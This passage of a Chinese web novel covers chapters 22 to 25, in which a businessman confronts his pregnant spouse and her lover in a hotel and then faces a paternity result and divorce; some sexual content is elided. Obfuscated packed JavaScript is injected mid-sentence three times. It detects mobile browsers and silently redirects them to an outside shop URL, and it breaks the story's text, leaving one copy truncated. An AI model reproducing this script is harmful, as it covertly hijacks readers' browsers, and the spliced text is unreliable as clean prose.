经理一听“林承望”三个字,心头一跳,疑惑地问:“真的吗?我怎么收到消息,说林总今天要去港岛参加苏富比拍卖会?” 前台小妹急得快哭了:“真的!和照片上的林总长得一模一样,经理你快来吧!林总一直在催我们交出他妻子的房号,还说打不通电话……又不允许我们报警……但、但……就算是集团老总也不能随意查看住客的隐私……” 经理一个弹跳,抓起一旁的西装外套给自己套上,对着休息室的镜子抓了抓头发,撞撞跌跌朝楼下跑:“我明白了!你们先安抚一下林总,别报警,千万别报警!我马上下来!” 打不通电话又不许报警……经理在酒店服务业干了半辈子,见多识广,还能猜不出发生了什么吗? 八成是捉奸! 一下到大堂,经理就看见一位西装革履的男人坐在沙发上,满面寒霜,双手环胸,几个前台满天大汗,见他来了,立马哭喊一声:“经理!” 林承望循着声音看过去,对一脸热络的经理抬了抬下巴,冷声说:“来了?那就快一点查吧,我妻子要是出了事,对谁都不好,集团一向以客户的安全至上,情况紧急,别扯那些有的没的。” 经理连忙点头哈腰,飞了一记眼刀给一旁的前台,厉声说:“快,快去查!”说罢,立马亲自给林承望端上茶水,小心翼翼说:“林总,这……至少先给公安那边通报一下吧?我和附近的派出所民警关系不错,不会对外传的,有公安文件,事情也好办一点……” 林承望冷笑一声:“先确保我太太的安全吧,放心好了,你们把事情办妥,就不会影响你和其他人的工作。” 天大地大,老板最大,经理到底在职场上混了半辈子,哭丧着脸,叫前台们查,又问林承望:“太太贵姓?” 姓谢,集团上下一清二楚,偏偏情况紧急,经理脑子也轴了,一时没记起来。顶着林承望的冷脸,他的大脑记忆区疯狂搜索,终于脱口而出:“姓谢!快,快去查姓谢的住客!” 前台的鼠标声、键盘声咔嚓咔嚓响,林承望心乱如麻,而耳机那一头的两个人正在窃窃私语。 窃听器不知道掉在哪里,一会儿清晰,一会儿刺耳,偏偏谢念慈的声音格外清晰,那些细微的亲吻声,仿佛贴着林承望的耳朵,丝丝缕缕吹着寒气。 他听见谢念慈小声啜泣。 “嗯?”是个男人的声音,或者说,是蒋淳的声音。 林承望一听到这个狗男人出声,气得热血上涌,眼前立马浮现出多伦多的那次偶遇,狠狠锤了一下沙发扶手。 而那一边的对话还在继续。 谢念慈说:“我不太舒服……肚子那里……” 蒋淳说:“不舒服?要不要去医院看看?” 谢念慈说:“不是什么大事啦……好不容易见你一面……蒋淳,我每天一闭上眼睛就在想你,想念你的手,你的嘴唇,你身上洗衣液的气味……我之后有事和你说。” 林承望差点没背过气。 他扯了扯领口,企图让自己呼吸更多的空气,可越是拉扯,越是烦躁,脑海里全是谢念慈的模样。他一直很清楚,谢念慈在这件事上远比外表看起来的更放得开,在床上很能给男人情绪价值,说难听点…… “蒋淳……”而如今的谢念慈在呼唤别的男人的名字,林承望不清楚狗男人是在…… “蒋淳……蒋淳……” 谢念慈一直在叫别人的名字。 “好厉害……” “林总,查到了,在1808房,我现在就带您上去!”经理凑过来满脸堆笑,“要不要先打个电话过去,确认一下太太的情况?” 林承望捂住了脸,咬牙切齿说:“打什么电话?直接上去……” 他撑起身子,准备站起来,却听到对面的男人说:“老师……” “嗯……怎么了?”谢念慈的声音甜腻轻柔,轻轻搔刮着林承望的耳廓,刮得鲜血淋漓。 “老师,我爱你……” 谢念慈沉默了一会儿。 林承望顿住了,屏息凝神。他竟然还在期盼谢念慈说点过分的、冷漠无情的话,说自己只是玩玩,寂寞了想找个男人,不要谈感情,自己还有老公儿子…… 但他只听见了一声低泣。 谢念慈在哭,他都能想象到妻子颤抖的肩膀,以及缀满泪珠的睫毛,用那双温柔而专注的眼睛看着某个男人,既是羞涩,又是伤心。 “不要说这种话……” 他听见谢念慈轻声说。 “我今晚还要回家……蒋淳……我其实猜出来了,那天你唱的歌……” “嗯。” “是《一生中最爱》。”说着,谢念慈似乎是不好意思了,语气带着一丝小别扭,“你真是个好讨厌的人,故意骗我说这首歌的名字吧?但我那个时候真的不能说……我怕自己登不上去多伦多的飞机……” 林承望浑身僵硬。 他缓缓摘下耳机,面色铁青,在扶着沙发站了一会儿,目光涣散,一旁的经理要来扶他,他摇了摇头,强行挺直腰杆,朝电梯走过去。 林承望,林承望。 恍惚之间,他又听见谢念慈的声音。 穿着婚纱手捧鲜花,站在草坪上,身后是成片的薰衣草花田。他记起来了,谢念慈结婚时穿的婚纱是谢念慈自己设计的,手捧的花也是,选了垂落的铃兰花、吊兰和小苍兰,夹了几朵白玫瑰,头纱曳地,亲吻时,他要撩开头纱,两个人在白纱的笼罩之下接吻。 谢念慈说,铃兰花的花语是幸福,吊兰的话语是希望,小苍兰的话语是天真,他选了好久才决定要这几种花。谢念慈就是这样幼稚的人,出去玩的时候遇见算塔罗的摊子,都要拉着他测一测。 那个时候他问,测什么? 谢念慈说,测我们是不是命中注定的恋人。 眼前一阵一阵发黑,林承望竟然没有勇气再去听耳机的声音。他是天之骄子,三十多年的人生顺风顺水,世界上没有什么值得他嫉妒的人和事,哪怕娶了谢念慈,他也认为是自己应该得到的完满婚姻,不需要费什么力气,一切奔他而来。 脸上有一点凉,手一抹,满手的泪水。 林承望第一次尝到妒火中烧的滋味。 没有一个人敢出声,经理、以及雇佣的捉奸侦探,大气也不敢出,他们替林承望按下电梯,垂着头交换眼色,满脸无奈。 好巧不巧,电梯里有人。 那几个西装男人看了几眼林承望,露出一副久仰大名的神情,挨个上来问:“您是林氏集团的小林总吗?” 林承望勉强露出一个微笑:“是,下来视察一下集团酒店。” 那群人拉着林承望要拍照,保安赶过来要驱逐,林承望却制止了。他麻木的和几个陌生男人拍照,然后走上电梯,手心里全是汗,几乎攥不住耳机。但脑海里还有一个声音在叫唤,说到底不过是个穷小子,何必呢? 没有钱,没有权…… 真是什么狗东西都敢和他抢人了…… 林承望冷冷一笑,骨子里的傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236650|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢又占据了大脑,他不信,他偏要亲眼看看,偏要让谢念慈当场承认,否则他不信。 电梯合上厢门,红光一闪一闪,不停跃动。 …… 谢念慈想要把裙子脱了。蒋淳凑了上来,捏住他的脸颊,说:“别脱,很好看。” “会不会有一点不方便?”谢念慈松开了手。 蒋淳抱住他的腰,把裙摆往上卷,一直卷到腰部,丝绸在昏暗的光下流光溢彩,衬得谢念慈的腰简直不盈一握,肌肤素白透粉。 “好痒!”谢念慈闭着眼睛抖了一下,拍了拍蒋淳扶在自己腰上的手。 蒋淳故意挠了他几下,把他弄得又哭又笑,在床上扭来扭去,一个不小心…… 他眨了眨眼睛,问:“……” 蒋淳稍稍发力…… 谢念慈捂住他的嘴:“你不许说话……” 蒋淳轻轻咬他的掌心,眼睛眯了起来,笑说:“怎么又害羞了?刚刚不是才说……吗?” 谢念慈咬着嘴唇,低声说:“这不一样……” 自己说出来,虽然有点不好意思,但他就是能说出口,但如果是别人说自己,尤其是喜欢的人……很难不害羞吧? 蒋淳笑了笑…… 谢念慈喘了几声。 孕期的他身体十分敏感…… “蒋淳……”他轻唤男人的名字,手指拨弄着蒋淳细碎的额发,描摹眉骨、鼻梁、嘴唇,“你长得很好看,眉毛好看,鼻子也好看,嘴唇也好看……” 蒋淳的长相英挺,而他又太柔和,中和在一起,他们的孩子一定也很漂亮,最好继承父亲深邃的骨相,再继承他的眼睛、嘴唇,说不定长大后还是个看狗都深情的浓颜系美人。 很快他就说不出话了…… 蒋淳…… 谢念慈就听话地…… 蒋淳笑:“……” 谢念慈先是摇头,又点了点头,小小声说:“……” 他哭了起来…… 两个人完全投入其中,而林悦酒店的隔音效果又是出了名的好,外头的脚步声正在逼近,他们却全然不知。 谢念慈偶尔会捂住自己的小腹,用某种说不清的目光看着蒋淳,他好想把那件事说出口,却又只能憋着,因为一旦说了,蒋淳肯定不愿意继续了。 将近……几乎盖住了刷房卡的动静。 咚地一声。 门开了。 谢念慈突然被蒋淳拉起来,紧紧抱在怀里。 “怎么不继续了?” 一声无比熟悉的男人声音在他耳畔响起。 但他来不及细想,想说些什么,开口却是…… …… 林承望看着眼前的妻子,五脏六腑都在隐隐作痛。 …… 林承望能想象到…… 而那个不要脸的狗东西竟然抱紧了他的妻子,用一种冷漠的眼神看着他,说:“林总,贸然闯入别人的房间说要负民事责任的,请您现在立刻出去!” 他怒极反笑,寒声道:“出去?我凭什么出去?这家酒店是我开的,你怀里的人是我的妻子……你一个小三还他妈有脸了?” “老公……”谢念慈喃喃说。 林承望看着妻子的模样,身体剧烈颤抖,目光缓缓移动,落在蒋淳的脸上。人气愤到了极点,在动用暴力之前,他想说的第一句话竟然是…… “怎么不做了?” “继续啊?” “我倒要看看你他妈能让这个……多久次!” 23.第 23 章 “你在开什么玩笑?” 蒋淳冷冷说道。 林承望眼眶通红,嗤笑一声,说:“我没有在开玩笑,你们之前不是在手机里天天聊骚吗?不是互相叫得亲热吗?都敢腼着脸当小三了,也知道廉耻吗?” “我当然不知廉耻,但林总也没好到哪里去吧?”蒋淳面色不改,“林总也是三十多岁的成年人了,统管那么大一个公司,发现妻子出轨了,竟然不会私下解决,而是闹得沸沸扬扬,林总不要脸,老师还要脸呢。” 林承望握紧了拳头:“你!”他大步上前,一把揪住蒋淳的衣领,几乎将人从床上拖下来,拳头又准又狠,直往蒋淳的脸上砸。 蒋淳要护着谢念慈,一时没躲开,迎面接了一拳,鼻子剧烈一酸,啪嗒啪嗒,鼻血一眨眼就滴了下来。他自然不甘示弱,打架嘛,谁不会?高中时他惹了校门口的黄毛,被堵在巷子里,一个人打了三个,又怎么会怕一只上蹿下跳的猴子? “艹!”林承望骂了一声,被蒋淳结结实实还了一拳,打得眼冒金星,右眼当即睁不开了。他被挑衅到了极点,抡起拳头,眼看就要和蒋淳扭打在一起。 外头的经理一直在敲门,大声问:“林总,林总,需要帮忙吗?哎呦,别打起来啊……”这人一边想给自己老总保全脸面,一边又担心老总被人揍了或者把人揍了,急得如同热锅上的蚂蚁。 两个男人互相招呼了一阵,一开始打得不分上下,似乎都学过一点格斗。林承望练过拳击,有私教,面对蒋淳这个少年宫出身的跆拳道竟然隐隐在下风,房间一时只剩下扭打的动静,以及一个人低低的啜泣。 “够了!” 谢念慈捂着脸喊了一声。 他从床上艰难起身,裙摆全是湿的,丝绸吸饱了水,在灯光下呈现出一种水波的光泽。他几乎是扑倒两个人之间,啪啪两声,一人一个巴掌。 林承望不可置信,右脸火辣辣地疼。 蒋淳倒是没理会自己被扇了一巴掌,只是低头问:“老师,你还好吗?” 谢念慈摇头,眼泪流个不停。他抬起手,给蒋淳擦鼻血,越擦越糟糕,抹得两个人之间到处都是血,眼泪收不住,干脆直接抱住了蒋淳,放声大哭。 这与林承望记忆中的谢念慈不同,完全不同。他的妻子永远都是轻盈温柔的,穿着得体,看见他会露出浅浅的微笑,而不是像现在这个样子,狼狈,可怜,缩在一个贫穷的毕业生怀里,头发一缕一缕,像蛇,或者干枯的海藻,纤细的肉/体披着一件丝绸长裙,那条裙子什么也遮挡不住,脊骨清晰可见,一节一节,随着哭泣起伏。 “阿慈,阿慈……”林承望终于从混乱的思绪中翻出一点真心,右眼疼得几乎睁不开眼,估计肿了。他仓皇走上前,半蹲下身子,朝谢念慈伸出一只手,“阿慈,宝宝,我们回家好不好?你和我走,今天的事我就当成从来没有发生过,不会告诉爸妈,也不会让小鱼知道……我们回家好不好?” 谢念慈没有动。 “阿慈,你不要这样哭……”林承望跪在了地上,试图触碰谢念慈,几乎是在乞求,“我做错了吗?我做错了什么你告诉我好不好?你不要这个样子,我不清楚,我不明白,看见你哭,我也好难过。” 蒋淳一巴掌拍开了他的手,冷笑说:“林总,他不想见你,你把他当成了什么?今年他的生日,给你打了好几个电话,站在阳台一个人哭的时候,你又在哪里?”蒋淳的笑意中带了一丝轻蔑,“我也要感谢林总,如果不是林总的自作自受,我恐怕也追不到老师。” 林承望没看到蒋淳,眼睛盯着他怀里的谢念慈,手胡乱翻着西装口袋,话却是对蒋淳说的:“你要多少钱?我给你支票,你自己填个数字吧?拿了钱就给我滚,滚得越远越好,不许再见阿慈……” 蒋淳笑了一声:“林总,我只要你的老婆,你给吗?” “你也不要说话了。” 谢念慈声音沙哑。 蒋淳闭上了嘴。 谢念慈从男人的怀里缓缓起身,转过头看向自己的丈夫,哭得通红的眼睛像是蒙了一层雾,似乎在看林承望,又似乎在透过林承望,看向某个久远的过去。 “林承望,我实话和你说吧。” 林承望抬起了头,死死盯着自己的妻子。 “曾经我以为我会爱你一辈子,就算不是一辈子,至少也要爱你五十年。我从来不后悔遇见了你,时至今日,我也依然怀念我们的过去。我也不后悔和你结婚,更不后悔和你生了小孩,哪怕你的父母又难搞又挑剔,但我全部忍了……因为你说,你不会让我受委屈的。” 林承望的肩膀慢慢塌了下去。 “但好像结婚有了小孩就不一样了,也可能是我和你都被保护得太好,没吃过苦头,你直接继承你爸的家业,处处都想压他一头,而我呢,也没怎么长大,想要良好的夫妻关系,又想要年少时恋爱的感觉,你一说忙,没有空,我真的不知道该怎么办才好……是不是我哪里做错了?所以你才不愿意碰我了?甚至我怀疑你出轨,有人匿名给我发了一条彩信,说替我照顾你,你不知道那天我多崩溃,开着车在暴雨里游荡,实在找不到出路,所以我出轨了。” 林承望一愣:“什么照片?” 谢念慈摇摇头:“不重要,可能是别人的恶作剧吧……”他伸出手,轻轻抚摸丈夫被情人打得青黑的眼眶,语气淡淡说,“但我始终认为,在这场婚姻里,除了出轨,其他的事,我对你问心无愧,在最爱你的那几年,我甚至幻想过即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼前这个西装男明显是要被气得昏过去了,连连后退两步,目光迅速锁定在另一个男人的身上。 蒋淳缓缓抬手捂住了脸,过了片刻,他揉了揉脸,声音沙哑问:“真的是两个多月吗?” 护士心里咯噔一声,左看看右看看,一边掏对讲机,一边说:“你们不要打起来啊……我、我叫保安过来了……” 哐当一声。 林承望还没走到蒋淳面前,腿一软,直直摔到地上,他挣扎着爬起来,咬着牙说:“测他肚子里小孩的DNA,现在,马上!我的,他的,还有旁边那个男的DNA……” 24.第 24 章 如今的亲子测定不过是抽个血的事,顺带连产检一起做了,十周左右子宫里已经有了胎芽,像小海马一样蜷缩在谢念慈的肚子里,在飞快地长出心脏。 事已至此,谢念慈终于有了毁灭一切后的平静。他并不心虚,也没有惶惶不安,最多的不过是对小鱼感到抱歉,整个人仿佛浸泡在琥珀当中,时间,光线,声音,一切都凝固了,他看着不同的人在他面前晃来晃去,却没什么触动,只是坐在病床上看窗外的远空。 每当林承望露面,总是憔悴着脸,也不刮胡子,下巴青黑,双眼密布血丝,右眼的纱布已经拆下了,淤青还未散尽。他也不说话,干坐在床边,垂着头。不再是体面精英的林总,他和这家医院里的普通人没有任何区别,都在等待一份判决生死的医学报告。 谢念慈说:“不用测,是谁的我很清楚。” 林承望摇头:“不……” “非要看到那个结果你才接受吗?” 林承望沉默,双手不安分地紧握在一起。 谢念慈忽然起身,凑近丈夫,不近不远的距离,伸出手,轻轻抚摸林承望的右眼,说:“很疼吧?我从来没见过你这么狼狈,明明有更好的解决办法,为什么偏偏要激怒他?爸妈那边知道了吗?” “嗯。” “他们一定很生气吧?” “爸妈让我们回去再谈。” “什么时候回去?” “明天的机票。” “蒋淳呢?” 病房里又陷入寂静。 林承望深呼吸了几下,胸膛剧烈起伏。他死死盯着眼前的妻子,苍白着一张脸,黑发柔软垂落,整个人像一片薄薄的纸。他一句重话也说不出,生怕再说重一点,谢念慈就要消失了。 “我不知道。” 林承望语气僵硬。 谢念慈笑笑:“你应该不允许我见他吧?” 林承望说:“我甚至希望你不要提起他。” 谢念慈低下头,盯着被子说:“自欺欺人可不是什么好事。” 林承望脸色惨白。 谢念慈又抬起头,对他笑笑:“那你至少还我手机吧?我在这里什么也不能做,电视也没什么好看的……报告什么时候出?” 林承望一字一句说:“今天下午。” 谢念慈点点头:“好,那今天下午我想去看电影。” 林承望挣扎了几下,顶着妻子温柔的目光,身体比大脑率先投降,从口袋里掏出谢念慈的手机。他说:“你不去鉴定机构吗?” 谢念慈拿到了自己的手机,一打开,各种信息轰炸,尤其是黄瑞,发了一大堆过来,问他好不好。他挑着回了几句,随后上下拉动通讯录,没有看到蒋淳,切换小号,小号被注销了。 “不想去。”谢念慈放下手机,神色淡淡,“我说了,我比你清楚自己的身体,清楚什么时候和谁睡了,这个孩子已经孕十一周了,我们七月份有过房事吗?” 林承望僵在他的面前,嘴唇颤抖:“我……我已经让人去调查那张照片了,阿慈,我没有出轨,我只是太累了,没能顾及你的感受……” 谢念慈轻轻闭上眼睛:“嗯。” 他不吃这一套事后忏悔。已经成了废墟,与其站在废墟面前发誓和忏悔,不如好聚好散,还彼此一个自由。 该怎么和小鱼说呢? 林承望似乎发觉了妻子不想听他的忏悔,连忙转移话题,小心翼翼说:“想看什么电影?最近国庆档的电影还没有下……我陪你去吧,报告我让小夏去机构取。” 谢念慈打开手机,在购票页面随意翻了翻,说:“我自己看。” 林承望没有听到一般,自顾自说:“听说最近有一部超英电影票房很高,男主角你夸过他长得很有气质,我们一起去看好不好?” 谢念慈说:“不想看超英,翻来覆去都是那些老套路,我已经买好票了,你去忙你的吧,晚上记得接我。” 林承望只能退让。 …… 谢念慈随便选了一部票房低的爱情喜剧。 上映七天不过亿,还占着国庆档,可见拍得多差劲。他进到展播厅时,上百个座位不过寥寥几人,而对面正在播放超英、悬疑、战争一类大片的展播厅人为满患。他买了爆米花土豆条双拼桶,两杯可乐,一杯常温一杯冰,一个人坐在角落的位置。 银幕上正在循环播放广告。 直到灯骤然一黑,大银幕缓缓出现龙形标,身旁的座位才有人落座。 那个人说:“孕妇能吃这些吗?” 谢念慈说:“不吃生冷,不碰烟酒,其他的当然都能吃,不然我喝西北风吗?这一次好歹没怎么吐,上一次吐得昏天暗地,什么也吃不下……” 那个人轻轻握住了他的手。 电影开始了。 非常烂俗的一部爱情喜剧。 一个有些胃痛的故事,女主受过情伤,不愿再和谁保持长期关系,但又渴望恋爱,正好一家机器人公司找上门,表示她简直完美适配公司的项目,忽悠女主订购了机器人男友……当下的各种热梗,什么先婚后爱、缸中之脑,导演编剧一股脑儿倒进锅里,搅来搅去,搅成一个四不像。 刚开始还是爱情轻喜剧,女主和机器人在鸡飞狗跳中互相靠近,导演还算有水平,切镜头、蒙太奇转场……力求一种文艺片的质感,很多镜头拍得十分有想法,却难掩糖水片的本质。既想追求文艺感,又舍不得放下那些热梗,不伦不类,看得谢念慈直犯困。 陆陆续续有人走了,偌大的展播厅最后只剩下他和那个人,暗红的座椅一排又一排,人与机器人在银幕上深情拥吻,谢念慈打开了手机,脸上顿时一片蓝白的荧光,委屈说:“好难看的电影!早知道看超英了……” 蒋淳摸了摸他的脸,问:“那为什么不看超英呢?” 谢念慈也很后悔:“因为我想和你一起看……之前和你看的不都是爱情电影吗?”老的,新的,好看的,烂俗的……他和蒋淳缩在那间小小的公寓里看了很多电影,都是爱情主题。他记得有一部的结尾很特别,男女主拥抱着站在体重秤上,体重秤却显示为0。 时间空间质量都失去了意义。 银幕上的电影已经接近尾声,导演洋洋得意来了一个惊天大反转——原来机器人的背后不是AI男友,而是女主的初恋! 谢念慈抓了一把爆米花,撇着嘴说:“太烂了……和真的机器人谈恋爱有什么不好吗?反正它会永远爱自己,非要跳出一个活人……我们待会去看超英吧!” 蒋淳说:“好。” 银幕上的女主在流眼泪。 谢念慈眨了眨眼睛,试图眨去泪水,可一开口,声音难免沙哑:“蒋淳,我也有话和你说。” 蒋淳握紧了他的手:“你说。” “我可能……也不会和你结婚。” “嗯。” “其实我和他都被家人保护得太好,没经历过什么大风大浪,他三十多岁了还像个长不大的男生,一直想和他爸证明自己……你们如果再见面,不要打起来,也不要争吵,好不好?” 蒋淳没有说话,只是凑过来,亲吻谢念慈的眼睛,吻去那些苦咸的泪水。 “那天我连你也想跟着一起骂……太讨厌了,我讨厌你们两个人,把我当成什么物品了吗?争来争去,买没一个人问我的想法……我想和他离婚,怀了你的孩子,说爱你,不代表真的要和你结婚……我发现婚姻是一个很反人性的东西,因为人这一生不可能只爱一个人的,哪怕在遇见真爱之前,也一定在不断的恋爱失恋中反复循环,而人一旦爱上,就急匆匆的结婚生小孩……” 谢念慈捧着蒋淳的脸,语气认真。 “但同样的,不代表我说的话不算数。我说过自己抱着最后一次恋爱的态度和你在一起,这句话不是假的。一想到这份恋情的明天会是什么样的,是一生一世还是转瞬即逝,我就既是害怕又是期待。我不是那种爱一天就要推演一百天的人,有可能我的激素分泌得太旺盛,所以特别的……恋爱脑。我爱上了一个人,披荆斩棘也要追寻他的背影,哪怕摔跤了,受了伤也无所谓,淋着雨也要追,如果他不爱我,我就要让他后悔一辈子!爱情只是一瞬间的事,但每一个瞬间我都在喜欢你,都想要和你在一起,所以很抱歉,我不太会规划未来,甚至连这个孩子也不知道该怎么办才好,但我不想失去它……蒋淳,你能成为那样的人吗?” 像是一局游戏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248564|196391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开头,公主被巨龙抓走之前,拉着骑士的手说,勇者啊,你能成为拯救我的人吗?为你爱的人,为那个还没有出生的孩子,准备好一个遮挡风雨的爱巢和安稳的未来。 但现实就是现实,远比游戏更需要勇气。 蒋淳想起谢念慈给他发邮件之前,他和朱耀群在天台上聊天。他说,朱总抱歉,为了不影响项目,这个项目他自愿退出。朱耀群拍着他的背,大笑不止。朱耀群说,这有什么?没了林氏,还可以和万峰那边合作,对了,有没有兴趣运营一下自媒体? 蒋淳接受挑战。 他想对谢念慈说的话,已经说过了,每一个瞬间他都会期待,即便最后很有可能谢念慈会离开他。 他们并肩走出展播厅,站在人来人往的检票口,蒋淳伸出手,轻轻碰了一下谢念慈的小腹。谢念慈脸微微泛红,抱着那一大桶爆米花土豆条,别过头埋怨说:“你为什么不吃?我一个人怎么可能吃得完?” 蒋淳拉着谢念慈的手,说:“不是要看超英吗?下一场接着吃。”说着便打开手机买票,谢念慈凑过来在他的手机上摁来摁去。 隔壁刚刚结束一场电影,人群从门口涌出,少男少女居多。情侣们牵着手窃窃私语,有人讨论剧情比战力,有人直夸男主长得好帅。谢念慈也附和说:“这个男主长得非常帅气,儒雅帅大叔的类型……你快点买票啦,磨磨蹭蹭的。” 蒋淳捏他的脸:“你今天脾气好差。” 谢念慈说:“还会更差,我可控制不了自己的激素,到时候又粘人又容易生气,你小心了,要是不好好照顾我,我也让你后悔一辈子。” …… 林承望拿到报告看了许久,一个字一个字地看,脸色铁青,攥着报告的手剧烈颤抖。他反复深呼吸,没有歇斯底里,而是缓缓蹲了下来,西装被弄得皱皱巴巴,手捂住了脸。 啪嗒啪嗒,报告单湿了一大半。 一旁的助理小夏说:“林总,林董的电话。” 林承望双眼通红,抬起头看了助理一眼:“不用接。” 小夏点头,替他挂断了电话。 鉴定机构紧挨着医院,走廊漫长得一眼望不到尽头,墙被刷成了蓝白两色,林承望蹲在墙边,身前人来人往。这种事自古以来就是有人欢喜有人愁,尤其是到了现代,DNA技术突飞猛进,孩子是谁的一测便知。今天来鉴定的人不多,有人一家子守候在外,夫妻俩按着儿子的肩膀如临大敌,在出结果后又喜笑颜开,搂着儿子问要不要去吃火锅,至于有的人…… 林承望问小夏:“我是不是很失败?” 小夏沉默片刻,说:“林总,我是来引咎辞职的。” 林承望一愣。 小夏鞠了一躬:“实在抱歉,照片是我拍的,万氏的人接触我,许诺我跳槽的机会,并要求我拍一张林总的睡照……我没有想到最后的结果竟然是这样的。” 蝴蝶扇了扇翅膀,便在远方引起飓风,一个恶作剧兜兜转转,竟然给宿命画上了完美的圆,而一开始没有人知道会是这样的结果。 林承望喃喃说:“万氏?” 他猛地起身,一把抓住小夏的衣襟,几乎是吼道:“是不是万逸?是不是万逸那个杂种?妈的……” 小夏只是沉默。 林承望终于像被抽干了所有的力气,身体一软,靠着墙壁又哭又笑。他冷冷瞥一眼小夏,说:“我不会放弃追责,小夏,你跟了我好几年,却换来这么一个白眼狼,我明年还想提拔你当总监……回家等着收律师函吧。” 他伸出手,从小夏手里拿回自己的手机,老头子的电话打个不停,一接通,劈头盖脸一顿骂。 先骂他,骂他不争气,骂他不体面,骂他没有一星半点成年人的冷静,又说早就看出那个谢念慈不是安分的人,最后老头子呼哧呼哧喘着粗气,歇了,脸涨得通红。骆秀凑上来问:“孩子的鉴定结果我们也收到了,你和小谢回来准备准备离婚的手续吧。” 林承望看着母亲的脸,语气淡淡说:“离什么婚,不可能离婚的,不就是一个小孩吗?我们家又不是养不起。” 骆秀脸色大变,刚想骂他,一旁的林高格再也没坚持住,两眼一翻,气得嘎巴一声,昏了过去。 25.第 25 章 谢念慈回到家时,小鱼已经睡了。 覃阿姨对一切全然不知,仍笑着迎接谢念慈,甚至准备了夜宵。覃阿姨问:“先生呢?” “老爷子病了,他在医院守夜。”谢念慈说。 覃阿姨连声叹息:“哎呀,怎么就病了?我看老人家身体挺好的,唉,你看这人,说病了就病了,多少钱也不管用……” 谢念慈没作回答。他接过覃阿姨手里的汤碗,囫囵吃了几口红豆薏米粥,雾气迷蒙,惹得他眼眶一片湿润。 “覃阿姨。”他说,“之后……小鱼可能要拜托你多照顾了。” 覃阿姨笑眯眯问:“怎么啦?太太要出差?” 谢念慈说:“我和他爸爸在商议离婚。” 这下覃阿姨傻眼了,呆立在原地,手不停擦拭着围裙,结巴说:“好端端……怎么要离婚?你们年纪小,多忍一忍就过了,别动不动提离婚啊……” 有些事说不清楚,尤其是出轨一事,在社会和婚姻责任上,谢念慈也知道自己占不了什么理,如果林承望狠一点,他就是过错方,到时候说不定分到的财产很少,至于小鱼就更不用想了。他联系了黄瑞的爱人秦雅梦,对方表示爱莫能助,全看林承望那一边的动向。 他没有打算和覃阿姨和盘托出,只是默默吃完碗里的粥,起身说:“我去看一下小鱼,他这几天在幼儿园还好吧?” 覃阿姨支支吾吾说:“小鱼一直很乖的……就这样离婚了,对他是不是不好?” 谢念慈说:“只是离婚而已,我还是他的妈妈,林承望还是他的爸爸,如果藏着掖着,他长大后说不定会恨我们。” 但毕竟是小孩,该如何把成年人的挣扎、痛苦稀释和缓成小孩能接受的语言呢? 儿童房里光线昏暗,窗帘被覃阿姨拉上了,只在边缘透出些许光芒。这间屋子谢念慈和林承望都花了很多心思,购置了大量玩具和婴幼儿用品,打造得像个小小游乐园。那个时候他们满心满眼期待着孩子的到来,似乎生了小孩就是万灵丹,不管闹成什么样子,为了孩子似乎都能忍一忍。 谢念慈不想忍了。 如果两个人已经不适合彼此,家庭环境愈发僵硬,对一个孩子而言是否也是一种折磨?不如干脆一点,断舍离,只要好好和孩子解释…… 他在床边坐下,轻轻抚摸儿子的头发。 胎发已经掉得差不多了,小孩的头发浓密茂盛,在额角处还保持着婴儿时期的柔软。他俯下身,亲吻儿子的额头、脸颊,把孩子抱进自己的怀里,眼眶发涩,喃喃说:“对不起……” 小鱼动了一下,想要翻身,但被妈妈抱着,没能成功,反而醒了过来。他睡眼惺忪看着谢念慈,细声细气问:“妈咪?是妈咪回家了吗?” 谢念慈轻声说:“妈咪回来了哦……是不是吵到小鱼睡觉了?” 小鱼摇摇头,揉了揉眼睛,从妈妈的怀里坐起来,小手贴上谢念慈的脸颊,小声说:“妈咪为什么在哭呢?” 谢念慈打开了床头水母造型的小夜灯,暖黄的灯光霎时铺展开,融融笼罩着母子二人。他几乎是狠下心说:“妈咪要和小鱼商量一件事。” 小鱼歪歪头:“妈咪说吧。” 谢念慈沉默了片刻,说:“妈咪怀了弟弟或者妹妹,接下来的一些日子,可能没办法天天陪着小鱼。” 小鱼一听,高兴得直接跳了起来,小脸红扑扑的,他大声说:“太好了,我要当哥哥了!”在床上又蹦又跳,跳了几下,扑到谢念慈的怀里,眼睛亮晶晶说,“真的吗?妈咪不骗人?” 谢念慈说:“嗯,不骗小鱼。” 他低下头,吐出一口气,目光盯了儿子片刻,又缓缓飘去别的地方,落在书桌的一家三口合照上。他说:“小鱼,如果爸爸妈妈以后不住在一起了,你会生气吗?” 小鱼问:“为什么爸爸妈妈不住在一起了?” “因为……爸爸是鸟,妈妈是鱼,一个生活在天上,一个生活在海里,不能永远在一起,现在妈妈要回到海里了。” “妈咪是鱼,小鱼也是鱼……我能和妈咪一起走吗?” “你走了,爸爸怎么办?” “爸爸还有爷爷奶奶呀。” 